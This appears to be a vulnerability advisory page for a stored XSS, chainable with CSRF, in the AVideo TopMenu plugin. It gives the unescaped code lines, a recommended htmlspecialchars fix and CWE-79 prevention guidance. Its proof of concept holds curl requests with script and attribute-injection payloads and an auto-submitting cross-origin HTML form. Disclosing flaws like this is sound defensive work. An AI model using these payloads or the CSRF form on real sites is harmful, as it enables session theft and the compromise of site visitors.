Skip to content

GHSA-gmpc-fxg2-vcmq CVE-2026-56347

AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.20%
Chance of exploitation in the next 30 days. Higher than 9.83% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
None yet
No fixed version published

Description

Summary

The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.

Details

Multiple output locations in the TopMenu plugin render user-controlled data without escaping:

In HTMLMenuRight.php:24, the icon class is injected directly:

<i class="<?php echo $value2['icon'] ?>"></i>

In HTMLMenuRight.php:40, the URL is rendered without encoding:

<a href="<?php echo $value2['finalURL']; ?>">

In HTMLMenuLeft.php:32, same pattern for the left menu:

<a href="<?php echo $value2['finalURL']; ?>">

In index.php:49, the menu item text is echoed raw:

<?php echo $menuItem->getText(); ?>

Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.

Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.

Proof of Concept

  1. As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
  1. Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
  1. Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
  1. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
      action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
  <input type="hidden" name="menuId" value="1" />
  <input type="hidden" name="item_order" value="99" />
  <input type="hidden" name="item_status" value="a" />
  <input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" />
  <input type="hidden" name="title" value="Home" />
  <input type="hidden" name="url" value="/" />
  <input type="hidden" name="icon" value="fa-home" />
  <input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>

The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.

  1. Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
  1. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.

Impact

Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.

Recommended Fix

Apply htmlspecialchars() with ENT_QUOTES to all outputs of $value2['finalURL'], $value2['icon'], and $menuItem->getText() in the TopMenu plugin templates:

// HTMLMenuRight.php:24
<i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i>

// HTMLMenuRight.php:40
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">

// HTMLMenuLeft.php:32
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">

// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs
// index.php:49
<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>

Apply the same encoding to every location in HTMLMenuRight.php, HTMLMenuLeft.php, floatMenu.php, and index.php where these values are echoed into HTML.


Found by aisafe.io

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 5.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
Low
Integrity (subsequent systems)
Low
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 6.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor